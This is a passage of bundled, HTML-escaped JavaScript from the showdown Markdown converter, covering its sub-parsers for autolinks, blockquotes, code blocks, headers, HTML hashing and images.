          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;autoLinks.before&quot;, text2, options, globals);
          text2 = text2.replace(delimUrlRegex, replaceLink(options));
          text2 = text2.replace(delimMailRegex, replaceMail(options, globals));
          text2 = globals.converter._dispatch(&quot;autoLinks.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;simplifiedAutoLinks&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          if (!options.simplifiedAutoLink) {
            return text2;
          }
          text2 = globals.converter._dispatch(&quot;simplifiedAutoLinks.before&quot;, text2, options, globals);
          if (options.excludeTrailingPunctuationFromURLs) {
            text2 = text2.replace(simpleURLRegex2, replaceLink(options));
          } else {
            text2 = text2.replace(simpleURLRegex, replaceLink(options));
          }
          text2 = text2.replace(simpleMailRegex, replaceMail(options, globals));
          text2 = globals.converter._dispatch(&quot;simplifiedAutoLinks.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;blockGamut&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;blockGamut.before&quot;, text2, options, globals);
          text2 = showdown2.subParser(&quot;blockQuotes&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;headers&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;horizontalRule&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;lists&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;codeBlocks&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;tables&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;hashHTMLBlocks&quot;)(text2, options, globals);
          text2 = showdown2.subParser(&quot;paragraphs&quot;)(text2, options, globals);
          text2 = globals.converter._dispatch(&quot;blockGamut.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;blockQuotes&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;blockQuotes.before&quot;, text2, options, globals);
          text2 = text2 + &quot;\n\n&quot;;
          var rgx = /(^ {0,3}&gt;[ \t]?.+\n(.+\n)*\n*)+/gm;
          if (options.splitAdjacentBlockquotes) {
            rgx = /^ {0,3}&gt;[\s\S]*?(?:\n\n)/gm;
          }
          text2 = text2.replace(rgx, function(bq) {
            bq = bq.replace(/^[ \t]*&gt;[ \t]?/gm, &quot;&quot;);
            bq = bq.replace(/¨0/g, &quot;&quot;);
            bq = bq.replace(/^[ \t]+$/gm, &quot;&quot;);
            bq = showdown2.subParser(&quot;githubCodeBlocks&quot;)(bq, options, globals);
            bq = showdown2.subParser(&quot;blockGamut&quot;)(bq, options, globals);
            bq = bq.replace(/(^|\n)/g, &quot;$1  &quot;);
            bq = bq.replace(/(\s*&lt;pre&gt;[^\r]+?&lt;\/pre&gt;)/gm, function(wholeMatch, m1) {
              var pre = m1;
              pre = pre.replace(/^  /mg, &quot;\xA80&quot;);
              pre = pre.replace(/¨0/g, &quot;&quot;);
              return pre;
            });
            return showdown2.subParser(&quot;hashBlock&quot;)(&quot;&lt;blockquote&gt;\n&quot; + bq + &quot;\n&lt;/blockquote&gt;&quot;, options, globals);
          });
          text2 = globals.converter._dispatch(&quot;blockQuotes.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;codeBlocks&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;codeBlocks.before&quot;, text2, options, globals);
          text2 += &quot;\xA80&quot;;
          var pattern = /(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=¨0))/g;
          text2 = text2.replace(pattern, function(wholeMatch, m1, m2) {
            var codeblock = m1, nextChar = m2, end = &quot;\n&quot;;
            codeblock = showdown2.subParser(&quot;outdent&quot;)(codeblock, options, globals);
            codeblock = showdown2.subParser(&quot;encodeCode&quot;)(codeblock, options, globals);
            codeblock = showdown2.subParser(&quot;detab&quot;)(codeblock, options, globals);
            codeblock = codeblock.replace(/^\n+/g, &quot;&quot;);
            codeblock = codeblock.replace(/\n+$/g, &quot;&quot;);
            if (options.omitExtraWLInCodeBlocks) {
              end = &quot;&quot;;
            }
            codeblock = &quot;&lt;pre&gt;&lt;code&gt;&quot; + codeblock + end + &quot;&lt;/code&gt;&lt;/pre&gt;&quot;;
            return showdown2.subParser(&quot;hashBlock&quot;)(codeblock, options, globals) + nextChar;
          });
          text2 = text2.replace(/¨0/, &quot;&quot;);
          text2 = globals.converter._dispatch(&quot;codeBlocks.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;codeSpans&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;codeSpans.before&quot;, text2, options, globals);
          if (typeof text2 === &quot;undefined&quot;) {
            text2 = &quot;&quot;;
          }
          text2 = text2.replace(
            /(^|[^\\])(`+)([^\r]*?[^`])\2(?!`)/gm,
            function(wholeMatch, m1, m2, m3) {
              var c2 = m3;
              c2 = c2.replace(/^([ \t]*)/g, &quot;&quot;);
              c2 = c2.replace(/[ \t]*$/g, &quot;&quot;);
              c2 = showdown2.subParser(&quot;encodeCode&quot;)(c2, options, globals);
              c2 = m1 + &quot;&lt;code&gt;&quot; + c2 + &quot;&lt;/code&gt;&quot;;
              c2 = showdown2.subParser(&quot;hashHTMLSpans&quot;)(c2, options, globals);
              return c2;
            }
          );
          text2 = globals.converter._dispatch(&quot;codeSpans.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;completeHTMLDocument&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          if (!options.completeHTMLDocument) {
            return text2;
          }
          text2 = globals.converter._dispatch(&quot;completeHTMLDocument.before&quot;, text2, options, globals);
          var doctype = &quot;html&quot;, doctypeParsed = &quot;&lt;!DOCTYPE HTML&gt;\n&quot;, title = &quot;&quot;, charset = &#039;&lt;meta charset=&quot;utf-8&quot;&gt;\n&#039;, lang = &quot;&quot;, metadata = &quot;&quot;;
          if (typeof globals.metadata.parsed.doctype !== &quot;undefined&quot;) {
            doctypeParsed = &quot;&lt;!DOCTYPE &quot; + globals.metadata.parsed.doctype + &quot;&gt;\n&quot;;
            doctype = globals.metadata.parsed.doctype.toString().toLowerCase();
            if (doctype === &quot;html&quot; || doctype === &quot;html5&quot;) {
              charset = &#039;&lt;meta charset=&quot;utf-8&quot;&gt;&#039;;
            }
          }
          for (var meta in globals.metadata.parsed) {
            if (globals.metadata.parsed.hasOwnProperty(meta)) {
              switch (meta.toLowerCase()) {
                case &quot;doctype&quot;:
                  break;
                case &quot;title&quot;:
                  title = &quot;&lt;title&gt;&quot; + globals.metadata.parsed.title + &quot;&lt;/title&gt;\n&quot;;
                  break;
                case &quot;charset&quot;:
                  if (doctype === &quot;html&quot; || doctype === &quot;html5&quot;) {
                    charset = &#039;&lt;meta charset=&quot;&#039; + globals.metadata.parsed.charset + &#039;&quot;&gt;\n&#039;;
                  } else {
                    charset = &#039;&lt;meta name=&quot;charset&quot; content=&quot;&#039; + globals.metadata.parsed.charset + &#039;&quot;&gt;\n&#039;;
                  }
                  break;
                case &quot;language&quot;:
                case &quot;lang&quot;:
                  lang = &#039; lang=&quot;&#039; + globals.metadata.parsed[meta] + &#039;&quot;&#039;;
                  metadata += &#039;&lt;meta name=&quot;&#039; + meta + &#039;&quot; content=&quot;&#039; + globals.metadata.parsed[meta] + &#039;&quot;&gt;\n&#039;;
                  break;
                default:
                  metadata += &#039;&lt;meta name=&quot;&#039; + meta + &#039;&quot; content=&quot;&#039; + globals.metadata.parsed[meta] + &#039;&quot;&gt;\n&#039;;
              }
            }
          }
          text2 = doctypeParsed + &quot;&lt;html&quot; + lang + &quot;&gt;\n&lt;head&gt;\n&quot; + title + charset + metadata + &quot;&lt;/head&gt;\n&lt;body&gt;\n&quot; + text2.trim() + &quot;\n&lt;/body&gt;\n&lt;/html&gt;&quot;;
          text2 = globals.converter._dispatch(&quot;completeHTMLDocument.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;detab&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;detab.before&quot;, text2, options, globals);
          text2 = text2.replace(/\t(?=\t)/g, &quot;    &quot;);
          text2 = text2.replace(/\t/g, &quot;\xA8A\xA8B&quot;);
          text2 = text2.replace(/¨B(.+?)¨A/g, function(wholeMatch, m1) {
            var leadingText = m1, numSpaces = 4 - leadingText.length % 4;
            for (var i2 = 0; i2 &lt; numSpaces; i2++) {
              leadingText += &quot; &quot;;
            }
            return leadingText;
          });
          text2 = text2.replace(/¨A/g, &quot;    &quot;);
          text2 = text2.replace(/¨B/g, &quot;&quot;);
          text2 = globals.converter._dispatch(&quot;detab.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;ellipsis&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;ellipsis.before&quot;, text2, options, globals);
          text2 = text2.replace(/\.\.\./g, &quot;\u2026&quot;);
          text2 = globals.converter._dispatch(&quot;ellipsis.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;emoji&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          if (!options.emoji) {
            return text2;
          }
          text2 = globals.converter._dispatch(&quot;emoji.before&quot;, text2, options, globals);
          var emojiRgx = /:([\S]+?):/g;
          text2 = text2.replace(emojiRgx, function(wm, emojiCode) {
            if (showdown2.helper.emojis.hasOwnProperty(emojiCode)) {
              return showdown2.helper.emojis[emojiCode];
            }
            return wm;
          });
          text2 = globals.converter._dispatch(&quot;emoji.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;encodeAmpsAndAngles&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;encodeAmpsAndAngles.before&quot;, text2, options, globals);
          text2 = text2.replace(/&amp;(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/g, &quot;&amp;amp;&quot;);
          text2 = text2.replace(/&lt;(?![a-z\/?$!])/gi, &quot;&amp;lt;&quot;);
          text2 = text2.replace(/&lt;/g, &quot;&amp;lt;&quot;);
          text2 = text2.replace(/&gt;/g, &quot;&amp;gt;&quot;);
          text2 = globals.converter._dispatch(&quot;encodeAmpsAndAngles.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;encodeBackslashEscapes&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;encodeBackslashEscapes.before&quot;, text2, options, globals);
          text2 = text2.replace(/\\(\\)/g, showdown2.helper.escapeCharactersCallback);
          text2 = text2.replace(/\\([`*_{}\[\]()&gt;#+.!~=|-])/g, showdown2.helper.escapeCharactersCallback);
          text2 = globals.converter._dispatch(&quot;encodeBackslashEscapes.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;encodeCode&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;encodeCode.before&quot;, text2, options, globals);
          text2 = text2.replace(/&amp;/g, &quot;&amp;amp;&quot;).replace(/&lt;/g, &quot;&amp;lt;&quot;).replace(/&gt;/g, &quot;&amp;gt;&quot;).replace(/([*_{}\[\]\\=~-])/g, showdown2.helper.escapeCharactersCallback);
          text2 = globals.converter._dispatch(&quot;encodeCode.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;escapeSpecialCharsWithinTagAttributes&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;escapeSpecialCharsWithinTagAttributes.before&quot;, text2, options, globals);
          var tags = /&lt;\/?[a-z\d_:-]+(?:[\s]+[\s\S]+?)?&gt;/gi, comments = /&lt;!(--(?:(?:[^&gt;-]|-[^&gt;])(?:[^-]|-[^-])*)--)&gt;/gi;
          text2 = text2.replace(tags, function(wholeMatch) {
            return wholeMatch.replace(/(.)&lt;\/?code&gt;(?=.)/g, &quot;$1`&quot;).replace(/([\\`*_~=|])/g, showdown2.helper.escapeCharactersCallback);
          });
          text2 = text2.replace(comments, function(wholeMatch) {
            return wholeMatch.replace(/([\\`*_~=|])/g, showdown2.helper.escapeCharactersCallback);
          });
          text2 = globals.converter._dispatch(&quot;escapeSpecialCharsWithinTagAttributes.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;githubCodeBlocks&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          if (!options.ghCodeBlocks) {
            return text2;
          }
          text2 = globals.converter._dispatch(&quot;githubCodeBlocks.before&quot;, text2, options, globals);
          text2 += &quot;\xA80&quot;;
          text2 = text2.replace(/(?:^|\n)(?: {0,3})(```+|~~~+)(?: *)([^\s`~]*)\n([\s\S]*?)\n(?: {0,3})\1/g, function(wholeMatch, delim, language, codeblock) {
            var end = options.omitExtraWLInCodeBlocks ? &quot;&quot; : &quot;\n&quot;;
            codeblock = showdown2.subParser(&quot;encodeCode&quot;)(codeblock, options, globals);
            codeblock = showdown2.subParser(&quot;detab&quot;)(codeblock, options, globals);
            codeblock = codeblock.replace(/^\n+/g, &quot;&quot;);
            codeblock = codeblock.replace(/\n+$/g, &quot;&quot;);
            codeblock = &quot;&lt;pre&gt;&lt;code&quot; + (language ? &#039; class=&quot;&#039; + language + &quot; language-&quot; + language + &#039;&quot;&#039; : &quot;&quot;) + &quot;&gt;&quot; + codeblock + end + &quot;&lt;/code&gt;&lt;/pre&gt;&quot;;
            codeblock = showdown2.subParser(&quot;hashBlock&quot;)(codeblock, options, globals);
            return &quot;\n\n\xA8G&quot; + (globals.ghCodeBlocks.push({ text: wholeMatch, codeblock }) - 1) + &quot;G\n\n&quot;;
          });
          text2 = text2.replace(/¨0/, &quot;&quot;);
          return globals.converter._dispatch(&quot;githubCodeBlocks.after&quot;, text2, options, globals);
        });
        showdown2.subParser(&quot;hashBlock&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;hashBlock.before&quot;, text2, options, globals);
          text2 = text2.replace(/(^\n+|\n+$)/g, &quot;&quot;);
          text2 = &quot;\n\n\xA8K&quot; + (globals.gHtmlBlocks.push(text2) - 1) + &quot;K\n\n&quot;;
          text2 = globals.converter._dispatch(&quot;hashBlock.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;hashCodeTags&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;hashCodeTags.before&quot;, text2, options, globals);
          var repFunc = function(wholeMatch, match, left, right) {
            var codeblock = left + showdown2.subParser(&quot;encodeCode&quot;)(match, options, globals) + right;
            return &quot;\xA8C&quot; + (globals.gHtmlSpans.push(codeblock) - 1) + &quot;C&quot;;
          };
          text2 = showdown2.helper.replaceRecursiveRegExp(text2, repFunc, &quot;&lt;code\\b[^&gt;]*&gt;&quot;, &quot;&lt;/code&gt;&quot;, &quot;gim&quot;);
          text2 = globals.converter._dispatch(&quot;hashCodeTags.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;hashElement&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          return function(wholeMatch, m1) {
            var blockText = m1;
            blockText = blockText.replace(/\n\n/g, &quot;\n&quot;);
            blockText = blockText.replace(/^\n/, &quot;&quot;);
            blockText = blockText.replace(/\n+$/g, &quot;&quot;);
            blockText = &quot;\n\n\xA8K&quot; + (globals.gHtmlBlocks.push(blockText) - 1) + &quot;K\n\n&quot;;
            return blockText;
          };
        });
        showdown2.subParser(&quot;hashHTMLBlocks&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;hashHTMLBlocks.before&quot;, text2, options, globals);
          var blockTags = [
            &quot;pre&quot;,
            &quot;div&quot;,
            &quot;h1&quot;,
            &quot;h2&quot;,
            &quot;h3&quot;,
            &quot;h4&quot;,
            &quot;h5&quot;,
            &quot;h6&quot;,
            &quot;blockquote&quot;,
            &quot;table&quot;,
            &quot;dl&quot;,
            &quot;ol&quot;,
            &quot;ul&quot;,
            &quot;script&quot;,
            &quot;noscript&quot;,
            &quot;form&quot;,
            &quot;fieldset&quot;,
            &quot;iframe&quot;,
            &quot;math&quot;,
            &quot;style&quot;,
            &quot;section&quot;,
            &quot;header&quot;,
            &quot;footer&quot;,
            &quot;nav&quot;,
            &quot;article&quot;,
            &quot;aside&quot;,
            &quot;address&quot;,
            &quot;audio&quot;,
            &quot;canvas&quot;,
            &quot;figure&quot;,
            &quot;hgroup&quot;,
            &quot;output&quot;,
            &quot;video&quot;,
            &quot;p&quot;
          ], repFunc = function(wholeMatch, match, left, right) {
            var txt = wholeMatch;
            if (left.search(/\bmarkdown\b/) !== -1) {
              txt = left + globals.converter.makeHtml(match) + right;
            }
            return &quot;\n\n\xA8K&quot; + (globals.gHtmlBlocks.push(txt) - 1) + &quot;K\n\n&quot;;
          };
          if (options.backslashEscapesHTMLTags) {
            text2 = text2.replace(/\\&lt;(\/?[^&gt;]+?)&gt;/g, function(wm, inside) {
              return &quot;&amp;lt;&quot; + inside + &quot;&amp;gt;&quot;;
            });
          }
          for (var i2 = 0; i2 &lt; blockTags.length; ++i2) {
            var opTagPos, rgx1 = new RegExp(&quot;^ {0,3}(&lt;&quot; + blockTags[i2] + &quot;\\b[^&gt;]*&gt;)&quot;, &quot;im&quot;), patLeft = &quot;&lt;&quot; + blockTags[i2] + &quot;\\b[^&gt;]*&gt;&quot;, patRight = &quot;&lt;/&quot; + blockTags[i2] + &quot;&gt;&quot;;
            while ((opTagPos = showdown2.helper.regexIndexOf(text2, rgx1)) !== -1) {
              var subTexts = showdown2.helper.splitAtIndex(text2, opTagPos), newSubText1 = showdown2.helper.replaceRecursiveRegExp(subTexts[1], repFunc, patLeft, patRight, &quot;im&quot;);
              if (newSubText1 === subTexts[1]) {
                break;
              }
              text2 = subTexts[0].concat(newSubText1);
            }
          }
          text2 = text2.replace(
            /(\n {0,3}(&lt;(hr)\b([^&lt;&gt;])*?\/?&gt;)[ \t]*(?=\n{2,}))/g,
            showdown2.subParser(&quot;hashElement&quot;)(text2, options, globals)
          );
          text2 = showdown2.helper.replaceRecursiveRegExp(text2, function(txt) {
            return &quot;\n\n\xA8K&quot; + (globals.gHtmlBlocks.push(txt) - 1) + &quot;K\n\n&quot;;
          }, &quot;^ {0,3}&lt;!--&quot;, &quot;--&gt;&quot;, &quot;gm&quot;);
          text2 = text2.replace(
            /(?:\n\n)( {0,3}(?:&lt;([?%])[^\r]*?\2&gt;)[ \t]*(?=\n{2,}))/g,
            showdown2.subParser(&quot;hashElement&quot;)(text2, options, globals)
          );
          text2 = globals.converter._dispatch(&quot;hashHTMLBlocks.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;hashHTMLSpans&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;hashHTMLSpans.before&quot;, text2, options, globals);
          function hashHTMLSpan(html2) {
            return &quot;\xA8C&quot; + (globals.gHtmlSpans.push(html2) - 1) + &quot;C&quot;;
          }
          text2 = text2.replace(/&lt;[^&gt;]+?\/&gt;/gi, function(wm) {
            return hashHTMLSpan(wm);
          });
          text2 = text2.replace(/&lt;([^&gt;]+?)&gt;[\s\S]*?&lt;\/\1&gt;/g, function(wm) {
            return hashHTMLSpan(wm);
          });
          text2 = text2.replace(/&lt;([^&gt;]+?)\s[^&gt;]+?&gt;[\s\S]*?&lt;\/\1&gt;/g, function(wm) {
            return hashHTMLSpan(wm);
          });
          text2 = text2.replace(/&lt;[^&gt;]+?&gt;/gi, function(wm) {
            return hashHTMLSpan(wm);
          });
          text2 = globals.converter._dispatch(&quot;hashHTMLSpans.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;unhashHTMLSpans&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;unhashHTMLSpans.before&quot;, text2, options, globals);
          for (var i2 = 0; i2 &lt; globals.gHtmlSpans.length; ++i2) {
            var repText = globals.gHtmlSpans[i2], limit = 0;
            while (/¨C(\d+)C/.test(repText)) {
              var num = RegExp.$1;
              repText = repText.replace(&quot;\xA8C&quot; + num + &quot;C&quot;, globals.gHtmlSpans[num]);
              if (limit === 10) {
                console.error(&quot;maximum nesting of 10 spans reached!!!&quot;);
                break;
              }
              ++limit;
            }
            text2 = text2.replace(&quot;\xA8C&quot; + i2 + &quot;C&quot;, repText);
          }
          text2 = globals.converter._dispatch(&quot;unhashHTMLSpans.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;hashPreCodeTags&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;hashPreCodeTags.before&quot;, text2, options, globals);
          var repFunc = function(wholeMatch, match, left, right) {
            var codeblock = left + showdown2.subParser(&quot;encodeCode&quot;)(match, options, globals) + right;
            return &quot;\n\n\xA8G&quot; + (globals.ghCodeBlocks.push({ text: wholeMatch, codeblock }) - 1) + &quot;G\n\n&quot;;
          };
          text2 = showdown2.helper.replaceRecursiveRegExp(text2, repFunc, &quot;^ {0,3}&lt;pre\\b[^&gt;]*&gt;\\s*&lt;code\\b[^&gt;]*&gt;&quot;, &quot;^ {0,3}&lt;/code&gt;\\s*&lt;/pre&gt;&quot;, &quot;gim&quot;);
          text2 = globals.converter._dispatch(&quot;hashPreCodeTags.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;headers&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;headers.before&quot;, text2, options, globals);
          var headerLevelStart = isNaN(parseInt(options.headerLevelStart)) ? 1 : parseInt(options.headerLevelStart), setextRegexH1 = options.smoothLivePreview ? /^(.+)[ \t]*\n={2,}[ \t]*\n+/gm : /^(.+)[ \t]*\n=+[ \t]*\n+/gm, setextRegexH2 = options.smoothLivePreview ? /^(.+)[ \t]*\n-{2,}[ \t]*\n+/gm : /^(.+)[ \t]*\n-+[ \t]*\n+/gm;
          text2 = text2.replace(setextRegexH1, function(wholeMatch, m1) {
            var spanGamut = showdown2.subParser(&quot;spanGamut&quot;)(m1, options, globals), hID = options.noHeaderId ? &quot;&quot; : &#039; id=&quot;&#039; + headerId(m1) + &#039;&quot;&#039;, hLevel = headerLevelStart, hashBlock = &quot;&lt;h&quot; + hLevel + hID + &quot;&gt;&quot; + spanGamut + &quot;&lt;/h&quot; + hLevel + &quot;&gt;&quot;;
            return showdown2.subParser(&quot;hashBlock&quot;)(hashBlock, options, globals);
          });
          text2 = text2.replace(setextRegexH2, function(matchFound, m1) {
            var spanGamut = showdown2.subParser(&quot;spanGamut&quot;)(m1, options, globals), hID = options.noHeaderId ? &quot;&quot; : &#039; id=&quot;&#039; + headerId(m1) + &#039;&quot;&#039;, hLevel = headerLevelStart + 1, hashBlock = &quot;&lt;h&quot; + hLevel + hID + &quot;&gt;&quot; + spanGamut + &quot;&lt;/h&quot; + hLevel + &quot;&gt;&quot;;
            return showdown2.subParser(&quot;hashBlock&quot;)(hashBlock, options, globals);
          });
          var atxStyle = options.requireSpaceBeforeHeadingText ? /^(#{1,6})[ \t]+(.+?)[ \t]*#*\n+/gm : /^(#{1,6})[ \t]*(.+?)[ \t]*#*\n+/gm;
          text2 = text2.replace(atxStyle, function(wholeMatch, m1, m2) {
            var hText = m2;
            if (options.customizedHeaderId) {
              hText = m2.replace(/\s?\{([^{]+?)}\s*$/, &quot;&quot;);
            }
            var span = showdown2.subParser(&quot;spanGamut&quot;)(hText, options, globals), hID = options.noHeaderId ? &quot;&quot; : &#039; id=&quot;&#039; + headerId(m2) + &#039;&quot;&#039;, hLevel = headerLevelStart - 1 + m1.length, header = &quot;&lt;h&quot; + hLevel + hID + &quot;&gt;&quot; + span + &quot;&lt;/h&quot; + hLevel + &quot;&gt;&quot;;
            return showdown2.subParser(&quot;hashBlock&quot;)(header, options, globals);
          });
          function headerId(m2) {
            var title, prefix;
            if (options.customizedHeaderId) {
              var match = m2.match(/\{([^{]+?)}\s*$/);
              if (match &amp;&amp; match[1]) {
                m2 = match[1];
              }
            }
            title = m2;
            if (showdown2.helper.isString(options.prefixHeaderId)) {
              prefix = options.prefixHeaderId;
            } else if (options.prefixHeaderId === true) {
              prefix = &quot;section-&quot;;
            } else {
              prefix = &quot;&quot;;
            }
            if (!options.rawPrefixHeaderId) {
              title = prefix + title;
            }
            if (options.ghCompatibleHeaderId) {
              title = title.replace(/ /g, &quot;-&quot;).replace(/&amp;amp;/g, &quot;&quot;).replace(/¨T/g, &quot;&quot;).replace(/¨D/g, &quot;&quot;).replace(/[&amp;+$,\/:;=?@&quot;#{}|^¨~\[\]`\\*)(%.!&#039;&lt;&gt;]/g, &quot;&quot;).toLowerCase();
            } else if (options.rawHeaderId) {
              title = title.replace(/ /g, &quot;-&quot;).replace(/&amp;amp;/g, &quot;&amp;&quot;).replace(/¨T/g, &quot;\xA8&quot;).replace(/¨D/g, &quot;$&quot;).replace(/[&quot;&#039;]/g, &quot;-&quot;).toLowerCase();
            } else {
              title = title.replace(/[^\w]/g, &quot;&quot;).toLowerCase();
            }
            if (options.rawPrefixHeaderId) {
              title = prefix + title;
            }
            if (globals.hashLinkCounts[title]) {
              title = title + &quot;-&quot; + globals.hashLinkCounts[title]++;
            } else {
              globals.hashLinkCounts[title] = 1;
            }
            return title;
          }
          text2 = globals.converter._dispatch(&quot;headers.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;horizontalRule&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;horizontalRule.before&quot;, text2, options, globals);
          var key = showdown2.subParser(&quot;hashBlock&quot;)(&quot;&lt;hr /&gt;&quot;, options, globals);
          text2 = text2.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm, key);
          text2 = text2.replace(/^ {0,2}( ?\*){3,}[ \t]*$/gm, key);
          text2 = text2.replace(/^ {0,2}( ?_){3,}[ \t]*$/gm, key);
          text2 = globals.converter._dispatch(&quot;horizontalRule.after&quot;, text2, options, globals);
          return text2;
        });
        showdown2.subParser(&quot;images&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;images.before&quot;, text2, options, globals);
          var inlineRegExp = /!\[([^\]]*?)][ \t]*()\([ \t]?&lt;?([\S]+?(?:\([\S]*?\)[\S]*?)?)&gt;?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:([&quot;&#039;])([^&quot;]*?)\6)?[ \t]?\)/g, crazyRegExp = /!\[([^\]]*?)][ \t]*()\([ \t]?&lt;([^&gt;]*)&gt;(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(?:([&quot;&#039;])([^&quot;]*?)\6))?[ \t]?\)/g, base64RegExp = /!\[([^\]]*?)][ \t]*()\([ \t]?&lt;?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)&gt;?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:([&quot;&#039;])([^&quot;]*?)\6)?[ \t]?\)/g, referenceRegExp = /!\[([^\]]*?)] ?(?:\n *)?\[([\s\S]*?)]()()()()()/g, refShortcutRegExp = /!\[([^\[\]]+)]()()()()()/g;
          function writeImageTagBase64(wholeMatch, altText, linkId, url, width, height, m5, title) {
            url = url.replace(/\s/g, &quot;&quot;);
            return writeImageTag(wholeMatch, altText, linkId, url, width, height, m5, title);
          }
          function writeImageTag(wholeMatch, altText, linkId, url, width, height, m5, title) {
            var gUrls = globals.gUrls, gTitles = globals.gTitles, gDims = globals.gDimensions;
            linkId = linkId.toLowerCase();
            if (!title) {
              title = &quot;&quot;;
            }
            if (wholeMatch.search(/\(&lt;?\s*&gt;? ?([&#039;&quot;].*[&#039;&quot;])?\)$/m) &gt; -1) {
              url = &quot;&quot;;
            } else if (url === &quot;&quot; || url === null) {
              if (linkId === &quot;&quot; || linkId === null) {
                linkId = altText.toLowerCase().replace(/ ?\n/g, &quot; &quot;);
              }
              url = &quot;#&quot; + linkId;
              if (!showdown2.helper.isUndefined(gUrls[linkId])) {
                url = gUrls[linkId];
                if (!showdown2.helper.isUndefined(gTitles[linkId])) {
                  title = gTitles[linkId];
                }
                if (!showdown2.helper.isUndefined(gDims[linkId])) {
                  width = gDims[linkId].width;
                  height = gDims[linkId].height;
                }
              } else {
                return wholeMatch;
              }
            }
            altText = altText.replace(/&quot;/g, &quot;&amp;quot;&quot;).replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
            url = url.replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
            var result = &#039;&lt;img src=&quot;&#039; + url + &#039;&quot; alt=&quot;&#039; + altText + &#039;&quot;&#039;;
            if (title &amp;&amp; showdown2.helper.isString(title)) {
              title = title.replace(/&quot;/g, &quot;&amp;quot;&quot;).replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
              result += &#039; title=&quot;&#039; + title + &#039;&quot;&#039;;
            }
            if (width &amp;&amp; height) {
              width = width === &quot;*&quot; ? &quot;auto&quot; : width;
              height = height === &quot;*&quot; ? &quot;auto&quot; : height;
              result += &#039; width=&quot;&#039; + width + &#039;&quot;&#039;;
              result += &#039; height=&quot;&#039; + height + &#039;&quot;&#039;;
            }
            result += &quot; /&gt;&quot;;
            return result;
          }
          text2 = text2.replace(referenceRegExp, writeImageTag);
